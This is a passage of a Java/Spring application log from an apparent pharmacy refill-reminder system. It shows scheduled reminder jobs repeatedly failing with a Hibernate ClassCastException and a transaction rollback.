org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 23:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 23:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 23:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 23:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 23:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 23:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 23:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 23:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 